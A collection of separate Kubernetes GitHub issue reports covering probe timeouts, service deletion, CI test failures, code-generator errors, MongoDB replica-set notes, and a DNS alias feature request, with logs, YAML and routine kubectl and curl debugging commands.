configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r   /assign\r

 \r   what happened  :\r i install k8s the k8s service session affinity is clientip \r i have three node and tree ingress-nginx  when  a node down ingress-nginx may be can not init because of the session  ingress-nginx always connect a down node ip . the ingress-nginx will crash.\r so when i install a new k8s cluster i will manual config k8s service, set session affinity: none。\r 1. is it a bug ? \r 2. is there any config when i install cluster disable session affinity.\r \r \r   environment  :\r - kubernetes version : 1.8\r - cloud provider or hardware configuration:\r - os  centos 7.4 :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/.\r -->\r hi,i have meeted a problem.kubelet liveness  and readiness probe failed ,but under line examination is health.how should i deal with it?because of this reason, cause the product service to be restarted\r \r my readness and liveness configuration:\r <pre><code>\r              \ initialdelayseconds\ : 15,\r               \ timeoutseconds\ : 3,\r               \ periodseconds\ : 5,\r               \ successthreshold\ : 1,\r               \ failurethreshold\ : 2\r </code></pre>\r \r   what happened  :\r liveness probe for \ basecore-iapi-xlobo-com-5b9ff9c65d-plj4d_ymt-pro 344ce7ef-9afc-11e8-bf1e-9457a56b2f81 :basecore-iapi-xlobo-com\  failed  failure : get http://10.200.109.68:6766/warmup: net/http: request canceled  client.timeout exceeded while awaiting headers \r readiness probe for \ basecore-iapi-xlobo-com-5b9ff9c65d-plj4d_ymt-pro 344ce7ef-9afc-11e8-bf1e-9457a56b2f81 :basecore-iapi-xlobo-com\  failed  failure : get http://10.200.109.68:6766/warmup: net/http: request canceled  client.timeout exceeded while awaiting headers \r \r <pre><code>\r aug  9 06:39:44 localhost kubelet: i0809 06:39:44.340592   13117 prober.go:106  liveness probe for \ basecore-iapi-xlobo-com-5b9ff9c65d-plj4d_ymt-pro 344ce7ef-9afc-11e8-bf1e-9457a56b2f81 :basecore-iapi-xlobo-com\  failed  failure : get http://10.200.109.68:6766/warmup: net/http: request canceled  client.timeout exceeded while awaiting headers \r aug  9 06:39:45 localhost kubelet: i0809 06:39:45.139350   13117 server.go:779  get /stats/summary/:  87.249558ms  200   go-http-client/1.1  10.11.41.1:51260 \r aug  9 06:39:45 localhost kubelet: i0809 06:39:45.153174   13117 server.go:779  get /stats/summary/:  53.0828ms  200   go-http-client/1.1  10.11.32.4:33086 \r aug  9 06:39:45 localhost kubelet: i0809 06:39:45.758609   13117 prober.go:106  readiness probe for \ basecore-iapi-xlobo-com-5b9ff9c65d-plj4d_ymt-pro 344ce7ef-9afc-11e8-bf1e-9457a56b2f81 :basecore-iapi-xlobo-com\  failed  failure : get http://10.200.109.68:6766/warmup: net/http: request canceled  client.timeout exceeded while awaiting headers \r aug  9 06:39:47 localhost kubelet: i0809 06:39:47.494249   13117 kuberuntime_logs.go:158  finish parsing log file \ /var/log/pods/344ce7ef-9afc-11e8-bf1e-9457a56b2f81/basecore-iapi-xlobo-com_0.log\ \r aug  9 06:39:47 localhost kubelet: i0809 06:39:47.494304   13117 server.go:779  get /containerlogs/ymt-pro/basecore-iapi-xlobo-com-5b9ff9c65d-plj4d/basecore-iapi-xlobo-com?sinceseconds=1800:  6.936313ms  200   go-http-client/1.1  10.11.32.4:39298 \r aug  9 06:39:47 localhost kubelet: i0809 06:39:47.776612   13117 kuberuntime_logs.go:158  finish parsing log file \ /var/log/pods/344ce7ef-9afc-11e8-bf1e-9457a56b2f81/basecore-iapi-xlobo-com_0.log\ \r aug  9 06:39:47 localhost kubelet: i0809 06:39:47.776673   13117 server.go:779  get /containerlogs/ymt-pro/basecore-iapi-xlobo-com-5b9ff9c65d-plj4d/basecore-iapi-xlobo-com:  5.955832ms  200   go-http-client/1.1  10.11.32.4:39298 \r aug  9 06:39:49 localhost kubelet: i0809 06:39:49.340688   13117 prober.go:106  liveness probe for \ basecore-iapi-xlobo-com-5b9ff9c65d-plj4d_ymt-pro 344ce7ef-9afc-11e8-bf1e-9457a56b2f81 :basecore-iapi-xlobo-com\  failed  failure : get http://10.200.109.68:6766/warmup: net/http: request canceled  client.timeout exceeded while awaiting headers \r aug  9 06:39:49 localhost kubelet: i0809 06:39:49.340831   13117 kubelet.go:1904  syncloop  container unhealthy : \ basecore-iapi-xlobo-com-5b9ff9c65d-plj4d_ymt-pro 344ce7ef-9afc-11e8-bf1e-9457a56b2f81 \ \r aug  9 06:39:49 localhost kubelet: i0809 06:39:49.645022   13117 kuberuntime_manager.go:539  container \ basecore-iapi-xlobo-com\   {\ docker\  \ 8ff9c007edfa693b5856b84f71a2c6769e0469f41839ddb2af6a551311f58daf\ }  of pod basecore-iapi-xlobo-com-5b9ff9c65d-plj4d_ymt-pro 344ce7ef-9afc-11e8-bf1e-9457a56b2f81 : container failed liveness probe.. container will be killed and recreated.\r aug  9 06:39:49 localhost kubelet: i0809 06:39:49.645082   13117 kuberuntime_container.go:567  killing container \ docker://8ff9c007edfa693b5856b84f71a2c6769e0469f41839ddb2af6a551311f58daf\  with 30 second grace period\r aug  9 06:39:50 localhost kubelet: i0809 06:39:50.758609   13117 prober.go:106  readiness probe for \ basecore-iapi-xlobo-com-5b9ff9c65d-plj4d_ymt-pro 344ce7ef-9afc-11e8-bf1e-9457a56b2f81 :basecore-iapi-xlobo-com\  failed  failure : get http://10.200.109.68:6766/warmup: net/http: request canceled  client.timeout exceeded while awaiting headers \r aug  9 06:39:51 localhost kubelet: i0809 06:39:51.346466   13117 kuberuntime_logs.go:158  finish parsing log file \ /var/log/pods/344ce7ef-9afc-11e8-bf1e-9457a56b2f81/basecore-iapi-xlobo-com_0.log\ \r aug  9 06:39:51 localhost kubelet: i0809 06:39:51.346529   13117 server.go:779  get /containerlogs/ymt-pro/basecore-iapi-xlobo-com-5b9ff9c65d-plj4d/basecore-iapi-xlobo-com?sinceseconds=1800:  6.475269ms  200   go-http-client/1.1  10.11.32.4:39298 \r aug  9 06:39:51 localhost kubelet: i0809 06:39:51.632637   13117 kuberuntime_logs.go:158  finish parsing log file \ /var/log/pods/344ce7ef-9afc-11e8-bf1e-9457a56b2f81/basecore-iapi-xlobo-com_0.log\ \r aug  9 06:39:51 localhost kubelet: i0809 06:39:51.632692   13117 server.go:779  get /containerlogs/ymt-pro/basecore-iapi-xlobo-com-5b9ff9c65d-plj4d/basecore-iapi-xlobo-com:  7.83152ms  200   go-http-client/1.1  10.11.32.4:39298 \r aug  9 06:39:51 localhost kubelet: i0809 06:39:51.843851   13117 server.go:779  get /metrics/cadvisor:  300.455414ms  200   prometheus/2.1.0  10.11.31.4:50614 \r aug  9 06:39:55 localhost kubelet: i0809 06:39:55.219253   13117 server.go:779  get /metrics:  35.814874ms  200   prometheus/2.1.0  10.11.31.4:50658 \r </code></pre>\r \r but under line examination is health,i write a shell script to check,below:\r \r my shell script:\r  <pre><code>while true ;do sleep 3;for x in  kubectl get pod -o wide -n ymt-pro |grep basecore |awk '{print $6}' ;do echo -e  date  \ http://$x:6766/warmup\ ;echo \ http status: \  curl -i -m 3  -o /dev/null -s -w %{http_code}::%{time_namelookup}::%{time_connect}::%{time_starttransfer}::%{time_total}\ \ \   http://$x:6766/warmup ;done;done </code></pre>\r \r and output log:\r  <pre><code>\r thu aug 9 06:39:14 cst 2018 http://10.200.109.68:6766/warmup\r http status: 200::0.000::0.001::0.002::0.002\r thu aug 9 06:39:14 cst 2018 http://10.200.254.204:6766/warmup\r http status: 200::0.000::0.001::0.002::0.002\r thu aug 9 06:39:18 cst 2018 http://10.200.109.68:6766/warmup\r http status: 200::0.000::0.001::0.022::0.022\r thu aug 9 06:39:18 cst 2018 http://10.200.254.204:6766/warmup\r http status: 200::0.000::0.001::0.002::0.002\r thu aug 9 06:39:22 cst 2018 http://10.200.109.68:6766/warmup\r http status: 200::0.000::0.001::0.002::0.002\r thu aug 9 06:39:22 cst 2018 http://10.200.254.204:6766/warmup\r http status: 200::0.000::0.001::0.002::0.002\r thu aug 9 06:39:25 cst 2018 http://10.200.109.68:6766/warmup\r http status: 200::0.000::0.001::0.002::0.002\r thu aug 9 06:39:25 cst 2018 http://10.200.254.204:6766/warmup\r http status: 200::0.000::0.001::0.054::0.054\r thu aug 9 06:39:29 cst 2018 http://10.200.109.68:6766/warmup\r http status: 200::0.000::0.001::0.002::0.002\r thu aug 9 06:39:29 cst 2018 http://10.200.254.204:6766/warmup\r http status: 200::0.000::0.001::0.002::0.002\r thu aug 9 06:39:33 cst 2018 http://10.200.109.68:6766/warmup\r http status: 200::0.000::0.001::0.002::0.002\r thu aug 9 06:39:33 cst 2018 http://10.200.254.204:6766/warmup\r http status: 200::0.000::0.001::0.002::0.002\r thu aug 9 06:39:37 cst 2018 http://10.200.109.68:6766/warmup\r http status: 200::0.000::0.001::0.002::0.002\r thu aug 9 06:39:37 cst 2018 http://10.200.254.204:6766/warmup\r http status: 200::0.000::0.001::0.002::0.002\r thu aug 9 06:39:40 cst 2018 http://10.200.109.68:6766/warmup\r http status: 000::0.000::0.001::0.000::3.002\r thu aug 9 06:39:43 cst 2018 http://10.200.254.204:6766/warmup\r http status: 000::0.000::0.001::0.000::3.002\r thu aug 9 06:39:50 cst 2018 http://10.200.109.68:6766/warmup\r http status: 000::0.000::0.001::0.000::3.001\r thu aug 9 06:39:53 cst 2018 http://10.200.254.204:6766/warmup\r http status: 200::0.000::0.001::0.340::0.340\r thu aug 9 06:39:57 cst 2018 http://10.200.109.68:6766/warmup\r http status: 200::0.000::0.001::0.002::0.002\r thu aug 9 06:39:57 cst 2018 http://10.200.254.204:6766/warmup\r http status: 200::0.000::0.001::0.002::0.002\r thu aug 9 06:40:01 cst 2018 http://10.200.109.68:6766/warmup\r http status: 200::0.000::0.001::0.002::0.002\r thu aug 9 06:40:01 cst 2018 http://10.200.254.204:6766/warmup\r http status: 200::0.000::0.001::0.002::0.002\r thu aug 9 06:40:05 cst 2018 http://10.200.109.68:6766/warmup\r http status: 200::0.000::0.001::0.002::0.002\r thu aug 9 06:40:05 cst 2018 http://10.200.254.204:6766/warmup\r http status: 200::0.000::0.001::0.002::0.002\r thu aug 9 06:40:09 cst 2018 http://10.200.109.68:6766/warmup\r  </code></pre>\r \r   what you expected to happen  :\r how can i resolve it ?\r   how to reproduce it  as minimally and precisely as possible   :\r \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r  <pre><code>\r  root@linux-10-11-32-4 tmp   kubectl version\r client version: version.info{major:\ 1\ , minor:\ 8\ , gitversion:\ v1.8.6\ , gitcommit:\ 6260bb08c46c31eea6cb538b34a9ceb3e406689c\ , gittreestate:\ clean\ , builddate:\ 2017-12-21t06:34:11z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 8\ , gitversion:\ v1.8.6\ , gitcommit:\ 6260bb08c46c31eea6cb538b34a9ceb3e406689c\ , gittreestate:\ clean\ , builddate:\ 2017-12-21t06:23:29z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r </code></pre>\r

  \r \r   what happened  :\r  kubectl delete service/example-loadbalancer  returns  service \ service/example-loadbalancer\  deleted  immediately, even though the cloud controller hasn't yet deleted the loadbalancer from the cloud.\r \r   what you expected to happen  :\r kubectl delete with the default --wait=true setting should not return or remove the service entry until the 'deleted load balancer' event has fired.\r \r because the service entry has disappeared  kubectl wait  is of no use. \r \r   how to reproduce it  as minimally and precisely as possible   :\r \r - create a service using the 'load balancer' type on a cloud and wait for it to initialise fully\r - watch the events queue  kubectl get events ,\r - run  kubectl delete  on the service\r - note that the command returns before the deleted load balancer event is fired\r \r   anything else we need to know?  :\r \r running using the brightbox external cloud-provider\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r $ kubectl version\r client version: version.info{major:\ 1\ , minor:\ 11\ , gitversion:\ v1.11.2\ , gitcommit:\ bb9ffb1654d4a729bb4cec18ff088eacc153c239\ , gittreestate:\ clean\ , builddate:\ 2018-08-07t23:17:28z\ , goversion:\ go1.10.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 11\ , gitversion:\ v1.11.2\ , gitcommit:\ bb9ffb1654d4a729bb4cec18ff088eacc153c239\ , gittreestate:\ clean\ , builddate:\ 2018-08-07t23:08:19z\ , goversion:\ go1.10.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r - cloud provider or hardware configuration:\r brightbox\r - os  e.g. from /etc/os-release :\r ubuntu 18.04.1 lts\r - kernel  e.g.  uname -a  :\r linux srv-4351f 4.15.0-32-generic  35-ubuntu smp fri aug 10 17:58:07 utc 2018 x86_64 x86_64 x86_64 gnu/linux\r - install tools:\r terraform & kubeadm \r - others:

what would you like to be added  :\r \r clarify the example in https://github.com/kubernetes/client-go/tree/master/examples/in-cluster-client-configuration . specifically, this paragraph:\r \r > if you are not using minikube, you should build this image and push it to a registry that your kubernetes cluster can pull from. if you have rbac enabled, use the following snippet to create role binding which will grant the default service account view permissions.\r >    \r > kubectl create clusterrolebinding default-view --clusterrole=view --serviceaccount=default:default\r >    \r \r we could delimit or reword this paragraph, so that it is clearer that the  kubectl create  command is necessary regardless of whether someone is using minikube. a newline would probably be sufficient.\r \r   why is this needed  :\r \r when read in the context of the rest of the document, because of the way it is written, it suggests that the following step is unnecessary if you are using minikube. in fact, it is necessary with the latest version of minikube, and when this is not done, the  kubectl run  command hangs with no output.

<!-- please only use this template for submitting reports about failing tests in kubernetes ci jobs -->\r \r   which jobs are failing  :\r ci-kubernetes-e2e-gce-cos-k8sbeta-serial  as seen in  sig-release-1.14-blocking gce-cos-1.14-serial  https://testgrid.k8s.io/sig-release-1.14-blocking gce-cos-1.14-serial  \r \r   which test s  are failing  :\r     sig-storage  in-tree volumes  driver: local  localvolumetype: gce-localssd-scsi-fs   serial   testpattern: pre-provisioned pv  block volmode   volumemode should fail to create pod by failing to mount volume \r     sig-storage  in-tree volumes  driver: local  localvolumetype: gce-localssd-scsi-fs   serial   testpattern: pre-provisioned pv  default fs   subpath should be able to unmount after the subpath directory is deleted \r     sig-storage  in-tree volumes  driver: local  localvolumetype: gce-localssd-scsi-fs   serial   testpattern: pre-provisioned pv  default fs   subpath should fail if non-existent subpath is outside the volume  slow  \r     sig-storage  in-tree volumes  driver: local  localvolumetype: gce-localssd-scsi-fs   serial   testpattern: pre-provisioned pv  default fs   subpath should fail if subpath directory is outside the volume  slow  \r     sig-storage  in-tree volumes  driver: local  localvolumetype: gce-localssd-scsi-fs   serial   testpattern: pre-provisioned pv  default fs   subpath should fail if subpath file is outside the volume  slow  \r     sig-storage  in-tree volumes  driver: local  localvolumetype: gce-localssd-scsi-fs   serial   testpattern: pre-provisioned pv  default fs   subpath should fail if subpath with backstepping is outside the volume  slow  \r     sig-storage  in-tree volumes  driver: local  localvolumetype: gce-localssd-scsi-fs   serial   testpattern: pre-provisioned pv  default fs   subpath should support creating multiple subpath from same volumes  slow  \r     sig-storage  in-tree volumes  driver: local  localvolumetype: gce-localssd-scsi-fs   serial   testpattern: pre-provisioned pv  default fs   subpath should support existing directories when readonly specified in the volumesource \r     sig-storage  in-tree volumes  driver: local  localvolumetype: gce-localssd-scsi-fs   serial   testpattern: pre-provisioned pv  default fs   subpath should support existing directory \r     sig-storage  in-tree volumes  driver: local  localvolumetype: gce-localssd-scsi-fs   serial   testpattern: pre-provisioned pv  default fs   subpath should support existing single file \r     sig-storage  in-tree volumes  driver: local  localvolumetype: gce-localssd-scsi-fs   serial   testpattern: pre-provisioned pv  default fs   subpath should support file as subpath \r     sig-storage  in-tree volumes  driver: local  localvolumetype: gce-localssd-scsi-fs   serial   testpattern: pre-provisioned pv  default fs   subpath should support non-existent path \r     sig-storage  in-tree volumes  driver: local  localvolumetype: gce-localssd-scsi-fs   serial   testpattern: pre-provisioned pv  default fs   subpath should support readonly directory specified in the volumemount \r     sig-storage  in-tree volumes  driver: local  localvolumetype: gce-localssd-scsi-fs   serial   testpattern: pre-provisioned pv  default fs   subpath should support readonly file specified in the volumemount \r     sig-storage  in-tree volumes  driver: local  localvolumetype: gce-localssd-scsi-fs   serial   testpattern: pre-provisioned pv  default fs   subpath should support restarting containers using directory as subpath  slow  \r     sig-storage  in-tree volumes  driver: local  localvolumetype: gce-localssd-scsi-fs   serial   testpattern: pre-provisioned pv  default fs   subpath should support restarting containers using file as subpath  slow  \r     sig-storage  in-tree volumes  driver: local  localvolumetype: gce-localssd-scsi-fs   serial   testpattern: pre-provisioned pv  default fs   subpath should unmount if pod is force deleted while kubelet is down  disruptive  slow  \r     sig-storage  in-tree volumes  driver: local  localvolumetype: gce-localssd-scsi-fs   serial   testpattern: pre-provisioned pv  default fs   subpath should unmount if pod is gracefully deleted while kubelet is down  disruptive  slow  \r     sig-storage  in-tree volumes  driver: local  localvolumetype: gce-localssd-scsi-fs   serial   testpattern: pre-provisioned pv  default fs   subpath should verify container cannot write to subpath readonly volumes \r     sig-storage  in-tree volumes  driver: local  localvolumetype: gce-localssd-scsi-fs   serial   testpattern: pre-provisioned pv  default fs   volumeio should write files of various sizes, verify size, validate content  slow  \r     sig-storage  in-tree volumes  driver: local  localvolumetype: gce-localssd-scsi-fs   serial   testpattern: pre-provisioned pv  default fs   volumes should allow exec of files on the volume \r     sig-storage  in-tree volumes  driver: local  localvolumetype: gce-localssd-scsi-fs   serial   testpattern: pre-provisioned pv  default fs   volumes should be mountable \r     sig-storage  in-tree volumes  driver: local  localvolumetype: gce-localssd-scsi-fs   serial   testpattern: pre-provisioned pv  filesystem volmode   volumemode should create sc, pod, pv, and pvc, read/write to the pv, and delete all created resources \r \r   since when has it been failing  :\r 2019-02-22  i.e. since the beginning \r \r   testgrid link  :\r https://testgrid.k8s.io/sig-release-1.14-blocking gce-cos-1.14-serial\r \r   reason for failure  :\r    \r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/storage/testsuites/base.go:76\r test panicked\r /usr/local/go/src/runtime/panic.go:513\r    \r \r   anything else we need to know  :\r   related: https://github.com/kubernetes/kubernetes/issues/74384\r   these tests have not run since the 24th. will look into whether there is an explanation  e.g if they were intentionally removed  and update here.\r \r   / /milestone v1.14\r \r cc @kubernetes/sig-storage-test-failures \r cc @smourapina @alejandrox1 @kacole2 @mortent \r

which jobs are failing  :\r  master-blocking:verify-master \r \r   which test s  are failing  :\r  verify.vendor  https://prow.k8s.io/view/gcs/kubernetes-jenkins/logs/ci-kubernetes-verify-master/1123836606650781701 \r \r   since when has it been failing  :\r since 05/01.\r \r   testgrid link  :\r https://testgrid.k8s.io/sig-release-master-blocking verify-master\r \r   reason for failure  :\r    \r your vendored results are different:\r diff -naupr -x build -x 'authors ' -x 'contributors ' vendor/k8s.io/apimachinery/pkg/apis/meta/v1/generated.pb.go /home/prow/go/src/k8s.io/kubernetes/_tmp/kube-vendor.u1bxpd/kubernetes/vendor/k8s.io/apimachinery/pkg/apis/meta/v1/generated.pb.go\r --- vendor/k8s.io/apimachinery/pkg/apis/meta/v1/generated.pb.go\t2019-05-02 06:59:15.941750743 +0000\r +++ /home/prow/go/src/k8s.io/kubernetes/_tmp/kube-vendor.u1bxpd/kubernetes/vendor/k8s.io/apimachinery/pkg/apis/meta/v1/generated.pb.go\t2019-05-02 07:20:40.000000000 +0000\r   \r \r   anything else we need to know  :\r started failing after commit   6d691c998  https://github.com/kubernetes/kubernetes/compare/023066464...6d691c998? \r \r /milestone v1.15\r   / \r /cc @alejandrox1 @jimangel @rarchk @alenkacz

<!-- please use this template while reporting a bug and provide as much info as possible. not doing so may result in your bug not being addressed in a timely manner. thanks!\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/\r -->\r \r \r   what happened  :\r executing the script  $gopath/src/k8s.io/code-generator/hack/update-codegen.sh  from the directory  $gopath/src/k8s.io/code-generator/  failed.\r \r   what you expected to happen  :\r the script should have executed normally.\r \r   how to reproduce it  as minimally and precisely as possible   :\r    \r $ rm -fr $gopath/src/k8s.io/code-generator\r $ git clone https://github.com/kubernetes/code-generator $gopath/src/k8s.io/code-generator\r $ cd $gopath/src/k8s.io/code-generator\r $ rm -fr $gopath/bin/ \r $ ./hack/update-codegen.sh\r \r generating deepcopy funcs\r f0618 15:31:03.882214   20632 deepcopy.go:885  hit an unsupported type invalid type for invalid type, from k8s.io/code-generator/_examples/apiserver/apis/example/v1.testtype\r    \r \r   anything else we need to know?  :\r this error happened on my personal repo and on the code-generator repo itself.\r \r i believe this is the line where error is logged: https://github.com/kubernetes/gengo/blob/bc9033e9ec9e0cec1552e9af7c079cb878dfc511/examples/deepcopy-gen/generators/deepcopy.go l885\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r    \r $ kubectl version\r client version: version.info{major:\ 1\ , minor:\ 14\ , gitversion:\ v1.14.1\ , gitcommit:\ b7394102d6ef778017f2ca4046abbaa23b88c290\ , gittreestate:\ clean\ , builddate:\ 2019-04-08t17:11:31z\ , goversion:\ go1.12.1\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 12+\ , gitversion:\ v1.12.8-gke.6\ , gitcommit:\ f53039cc1e5295eed20969a4f10fb6ad99461e37\ , gittreestate:\ clean\ , builddate:\ 2019-05-18t01:21:01z\ , goversion:\ go1.10.8b4\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r - cloud provider or hardware configuration:\r gcp\r - os  e.g:  cat /etc/os-release  :\r linux  chromos linux app \r - kernel  e.g.  uname -a  :\r    \r $ uname -a\r linux penguin 4.19.34-04457-g5b63d4390e96  1 smp preempt mon may 13 14:30:19 pdt 2019 x86_64 gnu/linux\r    \r - install tools:\r asdf: https://github.com/asdf-vm/asdf\r  a teammate who also used asdf did not run into this problem \r \r - network plugin and version  if this is a network-related bug :\r - others:\r    \r $ gcc --version\r gcc  debian 8.3.0-6  8.3.0\r copyright  c  2018 free software foundation, inc.\r this is free software; see the source for copying conditions.  there is no\r warranty; not even for merchantability or fitness for a particular purpose.\r \r $ g++ --version\r g++  debian 8.3.0-6  8.3.0\r copyright  c  2018 free software foundation, inc.\r this is free software; see the source for copying conditions.  there is no\r warranty; not even for merchantability or fitness for a particular purpose.\r

https://github.com/jteeuwen/go-bindata is now archived by its owner. contributors have created a new org and are working there https://github.com/go-bindata/go-bindata\r \r so we should switch to code from the new repo.

now ubuntu 15.04 is using systemd to mange the services. the scripts to setup kubernetes cluster in ubuntu should support both the init systems.  there's a known issue in https://github.com/googlecloudplatform/kubernetes/blob/master/cluster/ubuntu/util.sh l366 which fails to start etcd by  service etcd start  in ubuntu 15.04.

mongodb is document database that supports range and field queries  https://github.com/foxish/docker-mongodb/tree/master/kubernetes    concepts    replication  a single server can run either standalone or as part of a replica set. a \ replica set\  is set of mongod instances with 1 primary. primary: receives writes, services reads. can step down and become secondary. secondary: replicate the primary's oplog. if the primary goes down, secondaries will hold an election. arbiter: used to achieve majority vote with even members, do not hold data, don't need dedicated nodes. never becomes primary.  replication is asynchronous. failover: if a primary doesn't communicate with the others for > 10s, secondaries conduct election.    configuration  write concern:  { w: <value>, j: <boolean>, wtimeout: <number> } ; how writes are acknowledged in the system. - wtimeout is how long to wait for ack. - w: 0; no ack of write  - w: 1; ack when write has propagated to primary.  default   - w: majority; there needs to be an ack from a majority of voting nodes  - w: n; ack from n voting members. - w:  <tag set> ; ack from members having a particular tag.   assigned to each node, and are floating point numbers between 0 and 1000.   members cannot vote. higher- are more likely to call elections, and are more likely to win. read concern: local/majority. local means read from primary, majority might read from secondaries.    roles: - arbiter: only votes, holds no data. don't deploy more than 1 per replica set. - hidden: just like  but cannot service reads, only vote. does maintain a copy of master data. - delayed: typically hidden, records master copies with a delay to avoid eg: human error.     initial deployment  a simple mongodb replicaset, with three members. we start with an image which turns on replicasets for the instance by supplying the right commandline flags. this becomes the image that we supply to our petset with 3 replicas.   - after the pods are created, we pick any one pod and execute  rs.initiate    after connecting to its mongo instance. that node turns into primary. then  rs.add    the other two pods using their cluster domain names. - for example:      rs.add \ mongodb-1.mongodb.default.svc.cluster.local\    rs.add \ mongodb-2.mongodb.default.svc.cluster.local\           scaling - automatic failover works with petsets out of the box. - adding new nodes involves finding the primary and running the corresponding  rs.add ...   commands on it. - reading from slaves require execution of  rs.slaveok    on connections to slaves.    fault tolerance  number of members that can become unavailable and the cluster can still elect primary. 50 members, 7 voting members => 46 can go down  but only 3 of the voting members . wan deployment: 1 member per dc in 3 dcs, can tolerate a single dc going down.  oplog size: depends on storage engine, 3 types: in-memory, wiredtiger, mmapv1. - mmapv1 was default and preferred, due to maturity. - wiredtiger known to have some issues in the past but is default since 3.2.     failover  new members or secondaries that fall behind too far must resync everything. starting mongo with an empty datadir will force an initial sync. starting it with a copy of a recent datadir from another member in the set will also hasten the initial sync. this could be done using snapshots.    changing hostnames - change hostnames of secondary members, remove the old hostname and add the new hostname to the replicaset. - stop all members, reconfigure offline using same datadir.    2 problems  rollbacks - network partition, secondary can't keep up with primary, primary goes down, stale secondary becomes master, master rejoins as primary -- master needs to rollback writes it accepted. such a rollback will not happen if the write propagates to a healthy reachable secondary, because it will become master.  rebooting 2 secondaries simultaneously in a 3 member replica set forces the primary to step down, meaning it closes all sockets  connection reset by peer  till one of the secondaries becomes available.

failed: https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/kubelet-gce-e2e-ci/11108/  run so broken it didn't make junit output!

feature request  \r \r i'd like to be able to set custom hostnames in kubernetes for a service besides the default my-service, my-service.my-ns and my-service.my-ns.svc.cluster.local so i can use the same dns name externally and internally, whereas the external dns record resolves to the public ip and the internal dns record resolves to the service cluster ip.\r \r for our services of type loadbalancer we create a letsencrypt certificate that runs in an haproxy sidecar container for the application in that service. the hostname in the certificate matches the external hostname as set by us in a dns server external to kubernetes.\r \r directly connecting to the service from another kubernetes hosted application leads to a mismatch in hostname for the certificate. as any public certificate authority is not allowed to use internal host names in the certificates they generate this makes it hard to encrypt our internal kubernetes traffic without using our own certificate signing service.\r \r my proposal would be to allow something like the following\r \r    \r apiversion: v1\r kind: service\r metadata:\r   name: my-service\r   namespace: my-ns\r spec:\r   dnsaliases:\r     - hostname: my-service.mydomain.com\r     - hostname: my-service.mydomain.org\r   selector:\r     app: my-app\r    \r \r where kubernetes then automatically manages that   my-service.mydomain.com   and   my-service.mydomain.org   resolve to the clusterip of my-service inside kubernetes, independent from what they resolve to outside of the cluster. this wouldn't necessarily be tied to the type loadbalancer, because we can use it to outfit our internal-only services with letsencrypt certificates as well.\r \r because of the requirement for the host to match the host in the certificate ticket https://github.com/kubernetes/kubernetes/issues/13748 wouldn't work for this specific scenario.

   what happened  :\r tried to delete a replicaset with a failing container  stuck on a volume mount  and got the following: -\r \r ~~~\r kubectl delete rs prometheus-4088412010 -n kube-system \r error: scaling the resource failed with: replicaset.extensions \ prometheus-4088412010\  is invalid: metadata.finalizers 0 : invalid value: \ foregrounddeletion\ : name is neither a standard finalizer name nor is it fully qualified; current resource version 11276377\r ~~~\r \r looking at the resource looks odd: -\r ~~~\r   kubectl get rs prometheus-4088412010 -n kube-system -o yaml\r apiversion: extensions/v1beta1\r kind: replicaset\r metadata:\r   annotations:\r     deployment.kubernetes.io/desired-replicas: \ 1\ \r     deployment.kubernetes.io/max-replicas: \ 2\ \r     deployment.kubernetes.io/revision: \ 2\ \r   creationtimestamp: 2017-06-23t10:10:25z\r   deletiongraceperiodseconds: 0\r   deletiontimestamp: 2017-06-23t12:00:39z\r   finalizers:\r   - foregrounddeletion\r   generation: 2\r   labels:\r     app: prometheus\r     pod-template-hash: \ 4088412010\ \r   name: prometheus-4088412010\r   namespace: kube-system\r   ownerreferences:\r   - apiversion: extensions/v1beta1\r     blockownerdeletion: true\r     controller: true\r     kind: deployment\r     name: prometheus\r     uid: a8870531-5297-11e7-a80e-0a80992c354e\r   resourceversion: \ 11276377\ \r   selflink: /apis/extensions/v1beta1/namespaces/kube-system/replicasets/prometheus-4088412010\r   uid: 2ccd6bf2-57fc-11e7-bc44-0a851b7f13b8\r spec:\r   replicas: 1\r   selector:\r     matchlabels:\r       app: prometheus\r       pod-template-hash: \ 4088412010\ \r   template:\r     metadata:\r       creationtimestamp: null\r       labels:\r         app: prometheus\r         pod-template-hash: \ 4088412010\ \r       name: prometheus\r     spec:\r       containers:\r       - args:\r         - -storage.local.retention=360h0m0s\r         - -storage.local.memory-chunks=500000\r         - -config.file=/etc/prometheus/prometheus.yml\r         image: quay.io/prometheus/prometheus:v1.7.1\r         imagepullpolicy: ifnotpresent\r         name: prometheus\r         ports:\r         - containerport: 9090\r           name: web\r           protocol: tcp\r         resources: {}\r         terminationmessagepath: /dev/termination-log\r         terminationmessagepolicy: file\r         volumemounts:\r         - mountpath: /etc/prometheus\r           name: config-volume\r         - mountpath: /prometheus\r           name: data-volume\r       dnspolicy: clusterfirst\r       restartpolicy: always\r       schedulername: default-scheduler\r       securitycontext: {}\r       serviceaccount: prometheus\r       serviceaccountname: prometheus\r       terminationgraceperiodseconds: 30\r       volumes:\r       - configmap:\r           defaultmode: 420\r           name: prometheus\r         name: config-volume\r       - name: data-volume\r         persistentvolumeclaim:\r           claimname: k8smetrics-prometheus\r status:\r   fullylabeledreplicas: 1\r   observedgeneration: 1\r   replicas: 1\r ~~~\r \r ~~~\r   kubectl describe rs prometheus-4088412010 -n kube-system        \r name:\t\tprometheus-4088412010\r namespace:\tkube-system\r selector:\tapp=prometheus,pod-template-hash=4088412010\r labels:\t\tapp=prometheus\r \t\tpod-template-hash=4088412010\r 